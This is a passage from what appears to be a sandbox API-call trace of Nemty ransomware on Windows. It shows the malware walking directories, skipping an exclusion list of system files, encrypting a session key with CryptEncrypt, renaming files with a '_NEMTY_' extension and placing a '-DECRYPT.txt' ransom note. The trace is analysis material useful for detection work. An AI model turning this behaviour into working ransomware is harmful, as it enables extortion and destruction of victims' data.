lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0148.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.049] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0148.049] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.049] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0148.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.056] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0148.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.056] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6343fe8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0148.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0148.057] CloseHandle (hObject=0xffffffff) returned 0 [0148.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340498 [0148.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0148.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0148.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0148.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0148.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0148.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344158 [0148.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344230 [0148.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0148.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0148.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\slideshow_glass_frame.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop\\slideshow_glass_frame.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\slideshow_glass_frame.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop\\slideshow_glass_frame.png._nemty_kgobjgd_")) returned 0 [0148.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0148.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0148.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0148.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0148.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0148.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0148.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0148.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.057] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd253d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xbd253d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xbd253d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0148.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0148.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0148.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0148.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0148.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0148.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0148.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0148.058] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0148.058] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0148.058] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0148.058] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0148.058] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0148.058] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0148.058] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0148.058] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0148.058] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0148.058] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0148.058] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0148.058] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0148.058] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0148.058] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0148.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0148.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0148.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0148.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0148.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0148.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0148.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0148.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0148.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0148.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0148.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0148.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0148.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0148.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0148.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0148.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0148.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63403c0 [0148.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0148.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.059] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd253d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0xbd253d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0xbd253d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0148.059] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0148.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0148.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.059] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0148.059] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b69cdc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b69cdc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da0f88b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbca, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="pause_down.png", cAlternateFileName="")) returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2=".") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="..") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="...") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="windows") returned -1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="$RECYCLE.BIN") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="rsa") returned -1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="NTDETECT.COM") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="ntldr") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="MSDOS.SYS") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="IO.SYS") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="boot.ini") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="boot.ini") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="AUTOEXEC.BAT") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="ntuser.dat") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="desktop.ini") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="CONFIG.SYS") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="RECYCLER") returned -1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="BOOTSECT.BAK") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="bootmgr") returned 1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="programdata") returned -1 [0148.059] lstrcmpiW (lpString1="pause_down.png", lpString2="appdata") returned 1 [0148.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.059] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.059] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_down.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pause_down.png", lpUsedDefaultChar=0x0) returned 14 [0148.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_down.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pause_down.png", lpUsedDefaultChar=0x0) returned 14 [0148.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_down.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pause_down.png", lpUsedDefaultChar=0x0) returned 14 [0148.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_down.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.060] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_down.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pause_down.png", lpUsedDefaultChar=0x0) returned 14 [0148.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0148.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0148.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0148.060] Sleep (dwMilliseconds=0x5) [0148.082] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xbe7c030, dwHighDateTime=0x1d561e8)) [0148.082] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xbe7c030, dwHighDateTime=0x1d561e8)) [0148.082] GetLastError () returned 0x12 [0148.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0148.082] GetLastError () returned 0x12 [0148.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0148.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.082] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0148.082] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0148.083] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0148.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0148.083] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="cLG3H4Q3Y7+adMBRK9tUKZMVRHKT3hWusTAzjqQW1Wu5ljhyINTgHYvHbQXAyw1j\r\nhte1rSgz19YdlLv2UxQIcbRkmc5ceqOly24bMj/2yc+lovOceGYNDfwGiESexJJk\r\nYQFFlDQCjw+MRYW/+mgXPPV4SSsDW9lyM+6sjqZBeF0mnrf70P2KwYPW0s75pBAS\r\nbeuViSuf2NNWRsyausA+nC4aymhJfm6aiOvjY/ugtnnfS3hPkTLp5mVRCYL+jSKT\r\nzcG+ow/540WsOhNV6uvPerG0x4OQNlBMEr25D/suHWdtBWRgU6DgpU03AaOhBvkW\r\n+q48zOjRFlgKQS8TzL+/hQ==\r\n", pcchString=0x653e91c) returned 1 [0148.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0148.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0148.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0148.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0148.083] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0148.085] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0148.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0148.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.113] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, 